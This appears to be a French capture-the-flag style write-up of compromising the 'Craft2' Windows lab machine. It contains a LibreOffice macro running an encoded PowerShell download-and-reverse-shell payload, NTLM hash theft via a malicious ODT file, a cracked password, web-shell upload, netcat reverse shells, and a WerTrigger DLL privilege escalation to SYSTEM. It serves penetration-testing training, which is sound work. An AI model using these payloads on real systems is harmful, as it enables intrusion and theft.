Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-21 15:06 EDT
Nmap scan report for 192.168.228.188
Host is up (0.034s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Craft
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
49666/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
HTTP (80)
Nous allons commencer par analyser la page. Dans le menu on ne peut cliquer sur "admin login", on nous indique c'est encore en construction. Tout en bas on voit une adresse mail : admin@craft.offsec. Nous allons ajouter me nom de domaine dans /etc/hosts
Juste au-dessus, nous pouvons voir que nous pouvons uploader un fichier, mais seulement ODT. Si nous fournissons bien un fichier ODT :
Cela nous donne un bon indice sur la marche à suivre...
Accès initial
Notre payload :
Il faut lancer un serveur python et avoir powercat.ps1 sur sa machine. Nous allons ensuite encoder le payload en base64. Nous allons ensuite executé ce script python.
Nous créeons notre macro sur libreoffice :
Nous avons réessayé avec un autre port, mais sans succès.
Nous avons trouvé un autre moyen d'exploiter ces fichiers odt :
https://github.com/octodi/CVE-2018-10583
On lance Responder puis on upload le fichier odt précédement crée.
Nous obtenons le hash NTLM de thecybergeek
thecybergeek:winniethepooh
Nous pouvons lire et écrire dans le dossier WebApp. Nous allons donc nous y connecter et y transférer un shell.php qui nous permettra d'exécuter des commandes.
Enumérer les dossiers nous permet de savoir où nous nous trouvons.
Nous avons ajouté nc.exe à la machine puis utiliser netcat pour obtenir un reverse shell.
Elévation des privilèges
Nous allons tout d'abord nous connecter à l'utilisateur précédement trouvé grâce à l'exécutable : RunasCs.exe. Nous le téléchargons tout d'abord sur la machine puis l'exécutons.
Nous allons exécuter winpeas
On peut voir qu'il y a un service mySQL et Apache. Nous allons effectuer une redirection de port afin d'avoir accès à phpmyadmin avec chisel. Nous allons le télécharger sur la cible.
Nous allons voir quels droits nous avons sur un fichier lorsqu'un fait une requête SQL.
Il y 4 méthodes différentes. Nous allons utiliser WerTrigger.
Nous allons cloner le depôt github puis transférer les fichiers à la cible, Report.wer et WerTrigger.exe doivent bien être dans le même directoire (ici C:\xampp\htdocs), soit via smb soit via certutil/iwr.
Nous allons profiter de nos droits pour écrire phoneinfo.dll dans C:\Windows\System32
Nous pouvons exécuter l'exploit !
Pas de retour. Nous allons essayer différement.
Nous allons tester de générer un reverse shell directement avec le fichier phoneinfo.dll.
Nous avons réinitialisé la machine et recommencé les étapes précédentes, en remplacant le fichier phoneinfo.dll par celui que nous venons de générer. On exécute l'exploit... Ca marche !
Nous sommes bien nt authory\system.
En regardant le code source sur GitHub, nous pouvons voir que le fichier phoneinfo.dll ouvre le port 1337, peut-être est-ce cela qui a fait que cela ne fonctionne pas.
str = "powershell.exe -nop -w hidden -e SUVYKE5ldy1PYmplY3QKU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTkyLjE2OC40NS4xODkvcG93ZXJjYXQucHMxJyk7cG93ZXJjYXQgLWMKMTkyLjE2OC40NS4xODkgLXAgNDQ0NCAtZSBwb3dlcnNoZWxs"
n = 50
for i in range(0, len(str), n):
print("Str = Str + " + '"' + str[i:i+n] + '"')
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = Str + "powershell.exe -nop -w hidden -e SUVYKE5ldy1PYmplY"
Str = Str + "3QKU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5"
Str = Str + "nKCdodHRwOi8vMTkyLjE2OC40NS4xODkvcG93ZXJjYXQucHMxJ"
Str = Str + "yk7cG93ZXJjYXQgLWMKMTkyLjE2OC40NS4xODkgLXAgNDQ0NCA"
Str = Str + "tZSBwb3dlcnNoZWxs"
CreateObject("Wscript.Shell").Run Str
End Sub
┌──(kali㉿kali)-[~/oscp/craft2]
└─$ python3 script2.py
____ __ ____ ____ ______
/ __ )____ _____/ / / __ \/ __ \/ ____/
/ __ / __ `/ __ /_____/ / / / / / / /_
/ /_/ / /_/ / /_/ /_____/ /_/ / /_/ / __/
/_____/\__,_/\__,_/ \____/_____/_/
Create a malicious ODF document help leak NetNTLM Creds
By Richard Davy
@rd_pentest
www.secureyourit.co.uk
Please enter IP of listener: 192.168.45.189
┌──(kali㉿kali)-[~]
└─$ smbclient //192.168.228.188/WebApp -U thecybergeek
Password for [WORKGROUP\thecybergeek]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Aug 21 16:14:01 2024
.. D 0 Wed Aug 21 16:14:01 2024
assets D 0 Tue Apr 5 12:16:03 2022
css D 0 Tue Apr 5 12:16:03 2022
index.php A 9768 Mon Jan 31 11:21:52 2022
js D 0 Tue Apr 5 12:16:03 2022
upload.php A 896 Mon Jan 31 10:23:02 2022
uploads D 0 Wed Aug 21 16:01:34 2024
10327807 blocks of size 4096. 2005335 blocks available
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 135
listening on [any] 135 ...
connect to [192.168.45.189] from (UNKNOWN) [192.168.228.188] 49778
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\xampp\htdocs> whoami
whoami
craft2\apache
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 135
listening on [any] 135 ...
connect to [192.168.45.189] from (UNKNOWN) [192.168.228.188] 49787
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
craft2\thecybergeek
┌──(kali㉿kali)-[~/oscp/WerTrigger/bin]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.45.189] from (UNKNOWN) [192.168.178.188] 49724
dir
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system